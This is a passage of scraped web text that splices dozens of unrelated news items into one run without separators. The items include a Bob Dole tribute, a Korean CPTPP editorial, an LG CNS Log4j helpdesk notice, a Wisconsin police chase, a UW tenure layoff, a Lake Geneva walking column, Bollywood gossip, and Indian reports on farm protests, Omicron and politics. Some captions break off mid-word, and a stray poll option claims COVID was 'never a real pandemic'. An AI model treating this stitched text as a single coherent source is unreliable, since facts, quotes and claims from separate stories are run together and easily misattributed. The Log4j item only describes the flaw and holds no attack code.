the Pacific. One such man, Senator Bob Dole (R-Kansas) was counted among the Greatest Generation. Soldier, senator and statesman, Bob Dole, who died at 98, was gravely wounded in Italy and carried that obvious burden throughout his amazing career in the Senate and a run for the presidency. Senator Dole always knew the price of freedom. Few of his generation are still around to remember. John J. Metzler (jjmcolumn@earthlink.net) is a United Nations correspondent covering diplomatic and defense issues. He is the author of "Divided Dynamism The Diplomacy of Separated Nations: Germany, Korea, China." Steps needed to minimize damages on farm sectors South Korea has begun the process of entering a mega free trade agreement comprising 11 Asia-Pacific nations. It has been proactively reviewing joining the Comprehensive and Progressive Agreement for Trans-Pacific Partnership (CPTPP) in consideration of the "economic and strategic values," according to Economy and Finance Minister Hong Nam-ki. The government will begin discussions with the relevant parties soon, Hong said during a ministerial meeting Monday. Such move, albeit belated, is encouraging as the envisaged accession will help the nation expand its trade and investment, and boost its status as a key player in global trade. The CPTPP is a super FTA, launched in 2018. In 2019, it accounted for 12.8 percent of the global gross domestic product (GDP) and 15.2 percent of the total global trade volume. The 11 member countries account for 23.2 percent of South Korea's entire exports and 24.8 percent of its imports. Despite this significance, the country had stayed away from the trade bloc after the administration of former U.S. President Donald Trump withdrew from it, in an about-face from its leading role in establishing it as the Trans-Pacific Partnership. Japan assumed the major role, prompting South Korea to remain lukewarm over the pact. But such an attitude has invited criticism for its short-sighted perspective as Korea is a country with a heavy reliance on external trade. Worse still, there are diverse signs that the trade environment is evolving unfavorably for the country as major trading nations such as the United States are taking protectionist measures. Conflicts between the U.S. and China, the two main trading partners for Korea, are also ever intensifying. What is worrisome is the recent move to use trading items as a means of retaliation as seen in China's restrictive exports of urea, used as an additive to reduce carbon emissions from diesel trucks. Japan has yet to ease export curbs of key materials needed for Korean firms to manufacture semiconductors and display panels. Against this backdrop, it is necessary for South Korea to hasten efforts to join the mega FTA. The prospect of the country joining the CPTPP will likely help expand its export portfolio coupled with its planned ratification of the Regional Comprehensive Economic Partnership (RCEP), which will take effect next February. Entering the CPTPP will help boost the economy. The state-run Korea Development Institute foresaw in a report that the nation will be able to lower its reliance on China in trade and increase exports by small- and medium-sized enterprises. However, CPTPP membership will likely deal a blow to the domestic farming and fisheries industries as the agreement includes giants such as Australia and Chile. The government needs to take preemptive measures to minimize any potential damage to households and industries that are vulnerable to market opening. If needed, it should also prepare due compensations for potential losses. As the CPTPP membership needs unanimous approval from the current member countries, South Korea should maintain amicable relations with them. It needs to mend ties with Japan as bilateral relations have remained at their lowest due to disputes over wartime sex slavery and forced labor. By Baek Byung-yeul LG CNS has launched a helpdesk support team Tuesday to help customers respond to a security flaw with Log4j, a logging utility for internet servers reported recently to have serious vulnerabilities. The IT service company said it has already responded by distributing guides to customers explaining how to block suspicious IP addresses, install software updates for Log4j and set up a firewall. Log4j, developed by non-profit organization Apache Software Foundation, is a Java-based utility for logging and storing information generated by using a computer. This software has recently been named as the "single biggest, most critical vulnerability of the last decade," as it has been observed that cyberattackers can take control of a user's computer remotely by entering a specific message through the program. Government agencies, companies and financial firms using it are vulnerable to devastating cyberattacks. A cyberattacker exploiting a related vulnerability could inject malicious code to compromise an entire computer system or network. Due to the Log4j-related vulnerabilities, the ICT ministry has recommended companies update their cybersecurity systems and urgently take security measures in accordance with the guide of the Korea Internet & Security Agency. LG CNS's Log4j helpdesk provides a detailed description of the response guide and answers customer inquiries. The company said its helpdesk team is comprised of specialists in a variety of areas including cybersecurity and cloud computing. Additionally, relevant experts have been tasked with addressing key areas including software development and infrastructure. The company added it is also considering offering its experts to other organizations in need, even if they are not their customers, if the Log4j issue spreads to become a national disaster. "We have been preemptively providing integrated support measures to our customers so that they can operate their IT systems without worrying about Log4j," said Bae Min, vice president of LG CNS's security unit. Angola, IN (46703) Today Cloudy. A few flurries or snow showers possible. Low near 10F. Winds WSW at 10 to 20 mph.. Tonight Cloudy. A few flurries or snow showers possible. Low near 10F. Winds WSW at 10 to 20 mph. Kendallville, IN (46755) Today Mostly cloudy skies. Low 9F. Winds WSW at 10 to 20 mph.. Tonight Mostly cloudy skies. Low 9F. Winds WSW at 10 to 20 mph. It is basically over 6-12 months In another year or years It was never a real pandemic Vote View Results A 20-year-old man faces charges after he reportedly attempted to flee and elude a police officer while operating a motor vehicle in the Village of Genoa City, resulting in the vehicle flipping over in a ditch several times. Adam M. Tomczak, of Trever, has been charged with one felony of attempting to flee or elude an officer, one misdemeanor of operating a vehicle while license was revoked and one misdemeanor of violating a court order that restricted his operating privilege. An ignition interlock device is a breathalyzer for the vehicle in which should have been installed in any vehicle driven by the defendant due to a previous alcohol related offense issued by a Wisconsin Court Order. According to the criminal complaint: While working traffic, a Genoa City Police Officer was dispatched on Thursday, Dec. 9, 2021, after a vehicle first sped by going 80 mph in a 30 mph zone and slowed down to 59 mph in a 25 mph zone at Carter and Franklin Street. Once the squad cars lights and sirens were turned on, the man in the speeding motor vehicle began to flee. The vehicle reached speeds of over 90 mph on Highway B speeding through two stop signs. The man led them on a chase lasting for 3.9 miles, part of which went through Walworth County, concluded when the vehicle lost control on turns, flipping several times and landing in a ditch one-mile west of Lange Road. Upon approaching the vehicle, the man fleeing was found to have a shoulder, collar bone and head injury. The man admitted to the arresting officer to not having a license. Sign up for our Crime & Courts newsletter Get the latest in local public safety news with this weekly email. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. The UW Board of Regents recently approved the layoff of a tenured professor whose academic program had been discontinued, the first time it has exercised this authority since program cuts were controversially added in 2016 as a reason to lay off faculty. The board on Friday signed off on the layoff of a UW-Platteville associate professor in the School of Education. The professors name was not included in board documents but System spokesperson Mark Pitsch identified the individual as Wonim Son. No discussion took place, a marked contrast to how the tenure debate began when Republicans removed tenure protections from state law and the Regents wrote a slightly different version into policy. The tenure episode sparked backlash on campuses, drew national attention and led to a series of symbolic no-confidence votes in Ray Cross, who was then president of the University of Wisconsin System. Tenure offers protection for academic freedom, the principle that professors creating knowledge and expressing ideas should be free to do so without the threat of intimidation or retaliation. Before tenure was removed from state law, if a program or department was phased out, tenured faculty had to be placed in a different position and could only be laid off if there was a campuswide financial emergency. The Regents policy that replaced the law added program elimination as a reason to lay off tenured faculty. We have to have some flexibility here; its important, Cross said in a TV interview at the time. Pitsch confirmed on Wednesday that the layoff approved last week is the first under the policy adopted in 2016. Documents show that UW-Platteville faculty in the School of Education decided in 2019 to discontinue the early childhood program after the state Department of Public Instruction changed the age ranges associated with teacher license requirements. A string of university committees and councils approved the elimination of the program last spring, including the Faculty Senate. I was clear in my presentation that the loss of this program would mean the loss of a faculty member, School of Education director Jen Collins wrote in a letter to another UW-Platteville administrator. At no time during the process was this an issue for members of the various groups. Faculty Senate chairperson Barb Barnet declined to comment on the layoff, referring the Wisconsin State Journal to UW-Platteville spokesperson Paul Erickson, who also declined to comment beyond the information included in Regents documents. Collins made a good faith effort to find the single affected faculty member a new job, UW-Platteville Chancellor Dennis Shields wrote in a letter to interim System President Tommy Thompson. The professor declined the directors proposal to start a new associate degree program in early childhood at the UW-Platteville Richland campus. Shields, in his letter to Thompson, said the layoff process would take effect in May 2022. Records show Son, who did not respond to several emailed requests for comment, started working for UW-Platteville in 2005 and earned a little more than $61,000 in the 2020-21 school year. In 2018 it looked like UW-Stevens Point would be the first among System schools to lay off tenured faculty when administrators unveiled a plan to address a multimillion-dollar budget deficit by axing 13 programs including English, art, history, philosophy and foreign languages and adding high-demand career paths instead. In an era of fiscal constraints, UW-Stevens Point can no longer be all things to all people, a university report said. The proposal sparked a sit-in in front of the chancellors office, a student march in Madison and national headlines. It was eventually pared back and faculty were spared through a combination of retirements and thoughtful planning. Editors note: At the time this story was originally published, the UW System was unable to provide the name of the tenured professor who was laid off. The System has since identified the professor as Wonim Son. Be the first to know Get local news delivered to your inbox! Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. This past month, I marked one year at the Lake Geneva Regional News and I completed my first loop around Geneva Lake, a goal which took the whole year. When I started working here as the editor in November 2020, I vowed that I would eventually walk the 21 miles around Geneva Lake, not in one day, but over the course of time. I didnt even think I would do it all in one year, but when I got close to my goal, I had to complete it. Here is a look at the journey, month by month, and section by section. December 2020: Williams Bay toward Chapin Road In December of last year I started my first trek. My parents were in town for Christmas and I heard that the house on the north shore that was a replica of Frank Lloyd Wrights Falling Waters was being torn down for a new home to go up. My dad and I bundled up in our winter coats, parked in Williams Bay and headed to check it out. With the docks all piled up on shore and the trees leafless for the winter, its not the most ideal time to walk the shore path. But when we got to the house that was being torn down, the walk paid off. Not only did we get to see it before it was torn down, the company tearing it down was there and we actually got one last look inside. A landmark gone This Frank Lloyd Wright replica located at W4443 N. Lake Shore Drive was a landmark along Geneva Lake. Now its completely gone. Here it can b While it was sad to see a landmark home torn down, it was nice to be able to capture that moment in history and my dad and I now share that memory of walking along the path and being invited in for one last look at history. It was on the same walk we struck up a conversation with another man walking along the path who pointed out the former Majestic Hills ski hill across the lake and share with us that someone recently bought the property, another story that resulted from a short walk around the lake. March 2021: Lake Geneva to Stone Manor While some people get on their snow boats and brave the cold to take a winter walk around the lake, I prefer to wait until the snow melts. But when temperatures finally warmed up in March, I was excited to hit the trail again and get outside. My first walk was a short one from our Downtown office on Broad Street to historic Stone Manor and back. One of the nice things about winter and no leaves on the trees is that you get a great view of Stone Manor from Downtown Lake Geneva. After seeing it from afar every day, I needed to make my way over and see it up close. Historic Stone Manor Stone Manor was built in 1901 by Otto Young. Its a landmark on Geneva Lake and worth the quick walk for anyone who visits Lake Geneva. That short walk from Downtown to Stone Manor has become probably my favorite short walk and its easy enough that even my daughters, age 3, 7 and 9 can walk it. The houses are spectacular and its along that stretch that occasionally you can even see Santa out on his summer dock collecting his mail from the mail boat. Santa along the shore path Santa can be seen occasionally along the lake path, collecting his naughty and nice list from the Lake Geneva mail boat. April 2021: George Williams College to Williams Bay As the weather continued to warm up, I looked forward to exploring the lake in spring. In April my longest trek was from Williams Bay to George Williams College, which is about half way to Fontana. We had been writing about the property by George Williams College that was owned by the University of Chicago and was up for sale. The University of Chicago wanted to sell it to a developer, who was going to build three single family homes. That was met with a lot of concern from Williams Bay residents wanting to preserve the property. In the end, the Williams Bay board voted against the proposal and a plan for a womans retreat center that preserves more of the property is in the works. It was nice to see the property up close. There was a little deer family in there when I walked by. It was also fun to walk by historic Conference Point and walk the scary wooden bridges along the camp property as Ive seen them called on social media. Conference Point Here is a look at part of the path along Conference Point that some have called the area with scary bridges. I also finally got to see Geneva Lakes Plymouth Rock up close, making me think back to the thousands before me that sat on that rock enjoying a picnic or maybe even getting engaged and starting a life together. Williams Bay's Plymouth Rock Williams Bays Plymouth Rock is located by Conference Point between Williams Bay and Fontana. May 2021: Lake Geneva to Driehaus Estate One of the stories that was the saddest and most impactful to write this year was about the death of Richard Driehaus, who earning the fortune he made and knew how to enjoy it by celebrating extravagantly and giving back to the community. Driehaus Estate The Driehaus Estate was the home of the late Richard Driehaus, a philanthropist and businessman who used to hold elaborate parties at his estate. After writing about his passing in March, I was looking forward to taking the walk from Lake Geneva to his estate and back. Someone my sister knew from college had been an arborist at the estate at one point and seeing how the land had been immaculately taken care of was breathtaking. And the yellow brick road portion of the lake path along his estate was a lot of fun too and so cool to see. While getting to the Driehaus estate was the highlight, that time of year many trees along the path are flowering and Lake Genevas Library Park gives Washington D.C.s cherry trees a run for their money. Flowering trees The flowering trees line the lake along Lake Genevas Library Park in May. I was going to make just one column. But I realized there is just too much to say about a one-year journey around the lake to shorten it into one column. Next week, Ill continue with the second half of the journey around the lake, with summer and fall walks. Id love to hear your stories about your favorite memories around the lake this year. Email me at sjones@lakegenevanews.net Stephanie Jones is the editor at the Lake Geneva Regional News. She started in November 2020, after her family moved to East Troy from Racine, Wisconsin. They are loving #lakelife. Bollywood actors Vicky Kaushal and Katrina Kaif might have received a plethora of best wishes after they tied the knot on December 9, but here come the heartfelt wishes from megastar Amitabh Bachchan who congratulated the former's father with a sweet social media post. Taking to his Instagram handle, Big B shared a black and white snap with Vicky's father-action director Sham Kaushal whom he has worked with for several projects. Vicky Kaushal And Katrina Kaif Wedding: What Is The Age Difference Between The About-to-Be Wedded Actors? In the picture, Big B and senior Kaushal could be seen shaking hands with each other at a film set. Sharing the snap, Big B wrote, "On set with Action Director Sham Kaushal, Vicky's father... been working with him for ages... a most humble endearing and loveable human...Vadhaiyaan vadhaiyaan vadhaiyaan."Vicky also responded to the sweet post by writing "Sir," with a string of red heart emoticons in the comments section. Vicky Kaushal Weds Katrina Kaif: The Bride and Groom Share First Pictures From Their Beautiful Marriage Ceremony! Check Out Amitabh Bachchan's Instagram Post Below: View this post on Instagram A post shared by Amitabh Bachchan (@amitabhbachchan) Bollywood stars Vicky Kaushal and Katrina Kaif on Tuesday made their first public appearance as husband and wife at the Mumbai airport. The newlyweds have returned to Mumbai after enjoying a romantic honeymoon, which reports suggest was in the Maldives. The duo had jetted off to the exotic island country after tying the knot on December 9. Fondly referred to by fans as VicKat, the couple had gotten married in an extremely private, intimate ceremony at the luxurious Six Senses Fort Barwara in Sawai Madhopur, Rajasthan. Over the past week, Katrina and Vicky have been treating fans with stunning pictures from their wedding. They recently flooded Instagram with glimpses of their pre-wedding photoshoot. The couple looked perfect in their matching Sabyasachi outfits. They will reportedly throw a wedding reception party for the film fraternity in the upcoming days and will resume work after concluding all wedding festivities. (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) Chandigarh (Punjab) [India], December 15 (ANI): Ahead of the upcoming Assembly election, Punjab Congress will convene a meeting of newly-appointed District Presidents at Congress Bhawan here on Wednesday to hold a discussion on the polls. The meeting will be chaired by Harish Chaudhary, who is the party in-charge in Punjab. Also Read | Uttar Pradesh Shocker: Godman Killed For Not Predicting Lucky Lottery Number. State Congress chief Navjot Singh Sidhu tweeted, "Meeting of all newly appointed District Presidents has been convened at Congress Bhawan Chandigarh at 4 PM sharp for discussion on forthcoming 2022 Vidhan Sabha elections! Harish Chaudhary Ji will chair the imp meeting!!!" Meanwhile, former Punjab Congress president Sunil Jakhar said that the party will finalize details to facilitate "three unsung warriors", who sat on dharna against three farm laws. Also Read | Animal Cruelty Shocker: Family Alleges Their Pet Dog Died As Delhi Police Forced It to Fight Pitbull. Jakhar tweeted, "At Campaign Committee meeting today, will finalize details to felicitate Congress Party's three unsung warriors who sat on dharna for over a year at Jantar Mantar in solidarity with protesting farmers." (ANI) (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi, December 15: Congress leader Rahul Gandhi on Wednesday slammed the Central government for not discussing the Lakhimpur Kheri incident in the House and said that the action taken by the Centre will depend upon how much pressure the Opposition puts on it. Speaking to ANI, Rahul Gandhi said, "Depending on how much pressure we put, action will be taken (by the Centre). We will ensure that this criminal who is a minister (resigns) and justice is served to families." Also Read | Karnataka Shocker: Couple Dies By Suicide Due To Financial Crisis, Daughter Battling For Life In Haveri. Citing an example of withdrawal of three farm laws, the Wayanad MP said, "We had said that farm laws will be taken back. Everybody put pressure and farm laws were withdrawn." The Congress leader further reaffirmed that MoS Home Ajay Mishra should resign and discussion should be held on the issue in the Parliament. Also Read | Omicron to Be Dominant COVID-19 Variant by Mid-January, Says EU Official. "It has been said that it (Lakhimpur Kheri incident) is a conspiracy. It obviously is. Everyone knows whose son is involved. We want the minister (MoS Home Ajay Mishra) to resign. We want discussion in Parliament, but Prime Minister refuses. They are making excuses," he added. Earlier today, several Congress leaders including Rahul Gandhi moved an adjournment motion in the House demanding the removal of Ajay Mishra Teni as Minister of State (MoS) for Home Affairs over the Lakhimpur Kheri incident. When asked if the MoS Ajay Mishra Teni should resign, he told ANI, "certainly".MOS Home Ajay Mishra Teni's son Ashish Mishra is involved in the Lakhimpur Kheri incident which took the lives of eight people including four farmers, earlier in October. On October 3, a vehicle allegedly crushed farmers who were protesting against the farm laws. Reportedly, the vehicle belonged to Ashish, who is the son of Union MoS Ajay Mishra. Uttar Pradesh police have so far arrested 20 people including Ashish Mishra.Local farmers had blamed Union Minister of State for Home Affairs Ajay Mishra 'Teni' and his son Ashish Mishra for the violence that left eight dead, including four farmers a local journalist, and others during a farmers' protest. They were mowed down by a vehicle that was part of the convoy of the Minister in Lakhimpur Kheri in north-central Uttar Pradesh. Videos were being circulated on social media where a Mahindra Thar was seen knocking down protesters from behind. The Minister and his son deny the charges. The investigation team probing Lakhimpur Kheri violence, on Tuesday, said the incident was as per a 'pre-planned conspiracy' that led to the death of five people and left several injured. (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi, Dec 15 (PTI) After over one year, the Delhi Police on Wednesday allowed traffic movement as well as opened two carriageways at Singhu border after it dismantled all the barricades that were erected to prevent the protesting farmers from moving towards the national capital. It has been decided that Singhu border be opened from Delhi side also. It has been opened for all vehicles, Deputy Commissioner of Police (outer north) Brijendra Kumar Yadav said. Also Read | Uttar Pradesh: 65-Year-Old Doctor Shot Dead Near Home in Greater Noida; Cops Suspect Old Rivalry. Farmers started leaving the protest site on the Delhi-Haryana border on Saturday after the Samyukt Kisan Morcha (SKM) suspended the agitation following the repeal of the Centre's three farm laws and the government conceding to its other demands. Besides the Singhu border, farmers, mainly from Punjab, Haryana and Uttar Pradesh, had laid siege to Delhi's Tikri and Ghazipur borders on November 26 last year in protest against the farm laws. Also Read | KMC Elections 2021: Calcutta High Court Refused to Stay Kolkata Municipal Corporation Polls. (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) Thiruvananthapuram, December 15: Four more cases of COVID-19 variant Omicron have been confirmed in Kerala, state Health Minister Veena George said on Wednesday night. With this the total cases of the variant in Kerala has reached 5 and in India -- 73. Speaking to reporters here, the minister said two of the four news cases were the wife and mother-in-law of the Ernakulam native who was the first person in Kerala to test positive for Omicron. Of the remaining two, one was a Thiruvananthapuram native who had returned from the UK and the other was a Ernakulam native who had just come back from Congo, the minister said. West Bengal Reports Its First Case of Omicron Variant As 7-Year-Old Boy Tests Positive. She said that contacts of all these persons were being identified and their flight details were being collected. She advised everyone to exercise caution. So far, Maharashtra has reported the highest number of cases at 32, followed by Rajasthan at 17. Omicron cases have also been reported in Karnataka (3), Gujarat (4), Telangana (2), West Bengal (1), Andhra Pradesh (1), Tamil Nadu (1) and Union Territories of Delhi (6) and Chandigarh (1). The Omicron variant was first detected in India in Bengaluru with two people testing positive for it comprising a South African national of Indian origin and a doctor. (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi [India], December 14 (ANI): Dr Suresh Kumar, the MD of Lok Nayak Jai Prakash Narayan Hospital (LNJP) said that the four new patients of the Omicron variant of COVID-19 reported in Delhi are asymptomatic, adding that two of them had come from UK and other two were close contacts. "The 4 new Omicron patients are asymptomatic, 2 came from the UK and the other 2 were their close contacts," said Kumar to ANI. Also Read | Huawei P50 Pocket Foldable Smartphone To Launched on December 23, 2021. Kumar also said that the Omicron patient discharged today, who had come from Zimbabwe on December 2 had mild symptoms like slight throat discomfort and weakness. "But he returned completely healthy after 10 days. Omicron patients have mild symptoms, stable oxygen rates and no need for ICU," he added. He said that 2-3 more COVID-19 patients out of 38 patients suffering from the disease admitted at the hospital will be discharged today. Also Read | Vivo V23 Pro Smartphone Expected To Be Launched in India By Early January: Report. Giving an update on the number of dedicated COVID-19 beds in view of the new variant, he said, "Currently, we have 50 dedicated beds and will increase if need be." Delhi Health Minister Satyendra Jain on Tuesday informed that four new cases of the COVID-19 variant Omicron have been detected in the national capital, taking the total number of cases in Delhi to six. The Health Minister said, "Four new Omicron cases have been detected, taking the total number of cases to six." Giving an update on the health conditions of the Omicron positive patients, Jain said, "Of the six cases, one patient has been discharged from the hospital, while the other five are still admitted and are all stable. None are serious." A new variant of COVID-19 was first reported to the World Health Organization (WHO) from South Africa on November 25. As per the WHO, the first known confirmed B.1.1.529 infection was from a specimen collected on November 9 this year. On November 26, the WHO named the new COVID-19 variant B.1.1.529, which has been detected in South Africa, as 'Omicron'. The WHO has classified Omicron as a 'variant of concern'. (ANI) (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) Ayodhya (Uttar Pradesh) [India], December 15 (ANI): Top leadership of the Bharatiya Janata Party, including its President JP Nadda and as many as nine Chief Ministers and Deputy Chief Ministers of party-led states, will be visiting the Ram Janmbhoomi in Uttar Pradesh's Ayodhya on Wednesday. This would be the first such visit by the BJP chief to the Ram Janmbhoomi after the Supreme Court's verdict on the issue. The group's visit assumes significance as Uttar Pradesh is scheduled for Assembly polls early next year. The scheduled visit also includes offering prayers at Hanuman Garhi temple and Saryu Ghat. Also Read | Uttar Pradesh Shocker: Godman Killed For Not Predicting Lucky Lottery Number. The BJP national president is being accompanied by his wife on the visit, and the families of the CMs will also be a part of the convoy. Out of the 12 BJP Chief Ministers, Uttar Pradesh's CM Yogi Adityanath would be skipping the visit due to the ongoing Assembly session, while Uttarakhand CM Pushkar Singh Dhami paid his obeisance at the Ram Temple yesterday, before leaving for his state. Also Read | Animal Cruelty Shocker: Family Alleges Their Pet Dog Died As Delhi Police Forced It to Fight Pitbull. Himachal Pradesh CM Jai Ram Thakur also had to leave for urgent work in his state. The BJP chief arrived in Varanasi on Sunday ahead of the inauguration of phase 1 of the newly-constructed Kashi Vishwanath Dham by Prime Minister Narendra Modi. Earlier on Tuesday, the Prime Minister, who was on a two-day visit to his parliamentary constituency Varanasi, chaired a meeting with the Chief Ministers and Deputy Chief Ministers of BJP-ruled states in Varanasi. Nadda was also present in the meeting. (ANI) (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) Meerut (Uttar Pradesh) [India], December 15 (ANI): Bharatiya Kisan Union (BKU) leader Rakesh Tikait on Wednesday said that he is not going to contest any elections and urged the political parties to not make use of his name or photos in their posters. Tikait received a warm welcome from the farmers in Meerut upon his return from Delhi. Also Read | Motorola Sells 10,000 Units of Moto Edge X30 Smartphone in Less Than 3 Minutes. "I'm not going to contest any election and no political party should use my name or photo in their posters," said Tikait to ANI. On December 9, the Samyukta Kisan Morcha the umbrella body under which the farmers had banded together announced the suspension of their year-long agitation after they received a letter from the Central government, with promises of forming a committee on Minimum Support Price (MSP) and immediate withdrawal of cases against them immediately. Also Read | Tecno Spark 8T Budget Smartphone Launched in India; Online Sale on December 20, 2021. The farmers are heading back to their respective states in large convoys of tractors and trucks, in the same way, they arrived at the sites at the Singhu, Ghazipur and Tikri on the outskirts of the national capital a year ago, to protest the Centre's three agrarian laws. The farmers will hold a review meeting on January 15. "If the government does not fulfil its promises, we could resume our agitation," the SKM had said in its statement. Farmers had been protesting against the Agri laws on various borders of Delhi since November 26, 2020. However, both the Lok Sabha and the Rajya Sabha passed the Farm Laws Repeal Bill on the first day of the Winter session on November 29. On November 19, Prime Minister Narendra Modi announced that the Centre will bring necessary bills in the Winter Session of Parliament to repeal the farm laws. (ANI) (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi, December 15: A day after Special Investigation Team (SIT) found that the Lakhimpur Kheri killings were a planned attack, Congress leader Adhir Ranjan Chowdhury on Wednesday demanded the resignation of MoS Home Ajay Mishra Teni, whose son is allegedly involved in mowing down four protesting farmers. Teni's son, Ashish Mishra, is involved in the Lakhimpur Kheri incident, which took the lives of eight people including four farmers, earlier in October. Also Read | SBI PO Prelims Result 2021 Declared on sbi.co.in; Here are the steps to check SBI PO Result. "If PM Modi has even an iota of devotion for Ganga Mata, he must advise his minister (Ajay Misra Teni) to resign or he himself should decide & sack him. I think it'll further enhance his image because he's working on image makeover right now," said Chowdhury. Meanwhile, commenting on the SIT calling the Lakhimpur Kheri incident a planned conspiracy to kill protesting farmers, Samajwadi Party chief Akhilesh Yadav on Wednesday alleged that the BJP views everything through the lens of religion. Also Read | Snap Launches Standalone Video Editing App 'Story Studio' for iPhone Users in the US, UK & Canada. "As elections approach, BJP wears religious spectacles and sees everything on the basis of religion...BJP should suspend their MoS Home (Ajay Mishra)", said Yadav. Earlier, Rahul Gandhi and several other leaders had moved an adjournment motion in the House, demanding the removal of Teni over the Lakhimpur Kheri incident. In his letter to Secretary-General of Lok Sabha, Gandhi said, "I hereby give notice of my intention to ask for leave to move a motion for the adjournment of the business of the house for the purpose of discussing a definite matter of urgent importance namely: the UP Police SIT report has highlighted that massacre of farmers at Lakhimpur was a pre-planned conspiracy and not a negligent act." The Uttar Pradesh police have arrested three people, including Ashish Mishra. (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi, Dec 15 (PTI) The number of rapid RT-PCR machines at the Delhi airport will be increased from 120 to 200 within the next few days, said the company tasked with conducting the compulsory COVID-19 test of passengers arriving from "at-risk" countries. In a statement on Wednesday, Founder and Director of Genestrings Diagnostics Gauri Agarwal said the number of employees deployed at the Delhi airport's laboratory will also be increased from 600 to 750. Also Read | Uttar Pradesh: 65-Year-Old Doctor Shot Dead Near Home in Greater Noida; Cops Suspect Old Rivalry. Under the new norms that came into force from December 1 following the emergence of the Omicron variant of the coronavirus, RT-PCR tests are mandatory for passengers arriving from "at-risk" countries, and they will be allowed to leave the airport only after the results come. At the Delhi airport, rapid RT-PCR test costs a passenger Rs 3,500 but the results come in 60-90 minutes. RT-PCR costs a passenger Rs 500 and the results come in around six hours. Also Read | KMC Elections 2021: Calcutta High Court Refused to Stay Kolkata Municipal Corporation Polls. A passenger coming from an "at-risk" country to the Delhi airport has to compulsorily pre-book either of the tests. According to the Union Health Ministry, countries in Europe including the United Kingdom, South Africa, Brazil, Botswana, Zimbabwe, Tanzania, Hong Kong, China, Ghana, Mauritius, New Zealand and Israel are "at-risk" countries. Under the new norms, two per cent of the passengers arriving in all flights from other countries such as the US will be subjected to RT-PCR test randomly. Agarwal said on Wednesday, "We have strategized and decided to augment and nearly double our capacity for rapid PCR. We'll now have 200 rapid testing machines deployed within the next few days." "Overall, we will soon have close to 750 employees working on this mega project 24/7 ensuring safe international borders for the nation," she noted. The international airports today were the new war frontier and these young employees were the new soldiers fighting against a potential third wave on a war footing, she stated. (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi [India], December 15 (ANI): The Supreme Court on Wednesday dismissed a plea filed by Bajaj Auto challenging the Delhi government's decision to issue over 4,261 new permits only to e-autorickshaws. A Bench headed by Justice L Nageswara Rao said the advertisement issued by the Delhi government inviting applications for electric-autorickshaws cannot be said to be arbitrary as it is in conformity with the FAME-II scheme and the Electric Vehicle policy 2020. Also Read | UNESCO Includes Durga Puja in Kolkata on Intangible Cultural Heritage of Humanity List, PM Narendra Modi Expresses Joy. Citing how locals in Delhi are adversely affected by air pollution, the bench said even though CNG auto-rickshaws are BS-VI compliant, there is still some carbon emission. Bajaj Auto approached the apex court stating that the Delhi government's move was arbitrary and discriminatory against those who manufacture CNG auto rickshaws. Also Read | Bengaluru: 33-Year-Old Medical Student Arrested for Sexually Harassing Woman, Daughter in Hebbal. Delhi government has opposed the plea of Bajaj Auto saying CNG auto rickshaws cannot be compared to e-autos and there is a proposal to switch to electric vehicles with a view to decarbonise the transport sector. (ANI) (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) New Delhi, Dec 15 (PTI) As part of pre-Budget deliberations, Finance Minister Nirmala Sitharaman will meet infrastructure and financial sector honchos on Thursday to seek their inputs for Budget 2022-23. The two consultations with different stakeholder groups will be held virtually, the Finance Ministry said. Also Read | Karnataka Shocker: Woman Kills Husband With Help Of Lover In Dharwad District; Accused Arrested. "Finance minister Smt. @nsitharaman will be holding consultations with experts of Industry, Infrastructure & Climate Change in forenoon; and experts of Financial Sector and Capital Markets in afternoon," the ministry said in a tweet. It will be the fourth Budget of Modi 2.0 government and Finance Minister Nirmala Sitharaman. The Budget would come against the backdrop of gradual recovery taking place in the Indian economy hit by the COVID-19 pandemic. Also Read | Year Ender 2021: 5 Cryptocurrencies That Made Headlines This Year. The growth this fiscal year is expected to be in double-digit. The RBI in its latest bi-monthly monetary policy review pegged a GDP growth of 9.5 per cent in 2021-22. The government has projected a fiscal deficit of 6.8 per cent of the gross domestic product (GDP). The Budget 2022-23 is likely to be presented on February 1 during the first half of Parliament's Budget session which usually begins in the last week of January every year. Earlier in the day, farmer organisations and agri experts pressed for MSP based on realistic cost of production, higher subsidies on diesel and allowing new technologies like genetically modified organisms (GMOs) in their pre-Budget submission to the finance ministry. Ministers of State for Finance Pankaj Chaudhary and Bhagwat Karad held the first pre-Budget consultation with representatives of agriculture and agro processing industry through virtual mode. The Budget for next year will have to address critical issues of demand generation, job creation and putting the economy on a sustained 8 per cent plus growth path. Budget 2022-23 would come against the backdrop of surging cases of Omicron variant. The impact of this on the economy, however, is likely to be less severe due to rapid vaccination. India will be among only a few economies in the world to rebound strongly from COVID-19-induced economic contraction of 2020-21, a Finance Ministry report said. (This is an unedited and auto-generated story from Syndicated News feed, LatestLY Staff may not have modified or edited the content body) Kathmandu [Nepal], December 15 (ANI): Nepal Prime Minister Sher Bahadur Deuba has secured a comfortable majority securing the post of party president for the second consecutive term after the second round of voting in the ongoing General Convention of the ruling Nepali Congress. The 75-year-old leader, who has become Prime Minister five times, secured 2733 votes leaving his contender Dr Shekhar Koirala behind with 1855 votes, as per the final results published by the election committee. Also Read | American Hip Hop Song Linked to Reduction in US Suicides: Study. "In the second round of voting, a total of 4623 votes were cast. Out of these, only 4588 votes were valid," The Kathmandu Post quoted the election committee as saying. Deuba earlier in the first round-faced four other candidates vying for the same post which led to a run-off that was held till Tuesday late night. Upon getting support from influential leaders Krishna Prasad Sitaula, Prakash Man Singh, Bimalendra Nidhi, and Sashank Koirala in the runoff Deuba secured the majority. Also Read | Pfizer COVID-19 Antiviral Pill Paxlovid Shows 89% Efficacy, 